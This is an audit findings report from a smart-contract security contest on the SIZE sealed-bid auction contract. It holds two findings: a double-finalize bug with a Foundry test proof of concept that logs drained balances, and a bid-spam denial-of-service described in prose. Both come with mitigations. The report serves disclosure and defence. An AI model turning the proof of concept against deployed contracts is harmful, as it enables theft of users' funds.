SIZE contest - Picodes's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L33 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238

Vulnerability details

Impact

To check that an auction has been finalized, the code is based on the check a.data.lowestQuote != type(uint128).max which is modified here.

The idea is that any call to finalize should modify a.data.lowestQuote and change the state of the auction. But is possible to bypass this. The new value for a.data.lowestQuote is passed to the contract by msg.sender and its validity is checked here, but an attacker could pass type(uint128).max so the requirement is fulfilled and the auction does not change state.

It is even quite easy to perform this attack as the attacker could even pass a bid with custom amounts to make sure the attack is possible and play the system.

Then, the attacker could call finalize or even cancel an other time to extract funds.

With this an attacker could steal all funds of the system and mess up the whole auction process.

Proof of Concept

Paste the following code as the first test in SizeSealed.t.sol:

function testAuctionFinalizedTwice() public {
    // Modify the setup
    reserveQuotePerBase = 0;
    minimumBidQuote = 0;
    quoteToken.mint(address(auction), type(uint128).max / 1e20);

    // Create auction
    uint256 aid = seller.createAuction(
        baseToSell,
        reserveQuotePerBase,
        minimumBidQuote,
        startTime,
        endTime,
        unlockTime,
        unlockEnd,
        cliffPercent
    );
    bidder1.setAuctionId(aid);

    bidder1.bidOnAuctionWithSalt(
        type(uint128).max / 1e20, // Bid with amounts of magnitude 1e18
        type(uint128).max / 1e20,
        "hello"
    );
    // Note: the attacker could even be the one doing this bid to make sure the attack is possible

    uint256[] memory bidIndices = new uint256[](1);
    bidIndices[0] = 0;

    vm.warp(endTime);

    (uint256 quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 0

    // Finalize a first time
    seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
    (quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 3402823669209384634

    // Finalize a second time
    seller.finalize(bidIndices, type(uint128).max, type(uint128).max);
    (quoteBalance, ) = seller.balances();
    console.log(quoteBalance); // 6805647338418769268
}

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Verify at the end of finalize that a.data.lowestQuote != type(uint128).max

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157

Vulnerability details

Impact

The limit on the number of bid is set to 1000 to avoid DOS. But it is not expensive for a bidder to fill auction.bids with mock bids. Someone could use this just to annoy the seller and "force cancel" an auction, or just to make sure he has the only available bids and prevent others from creating bids.

Proof of Concept

An attacker could:

• take a flashloan
• call bid and then cancelBid (this would be free as there are no fee)
• repeat the previous step until auction.bids

We see that the cost of attack is small: the transaction would do minimal storage changes overall: only the bid.quoteAmount would go from 0 to non 0 in the process. The only expensive part are the external calls.

Recommended Mitigation Steps

Easy to add mitigation techniques I see would:

• store the number of open bid auction.openBids for an auction and modify the requirement so it is on auction.openBids. Then you could modify finalize so only openBids are passed to it
• introduce a cancelation fee for bidders just to increase the cost of attack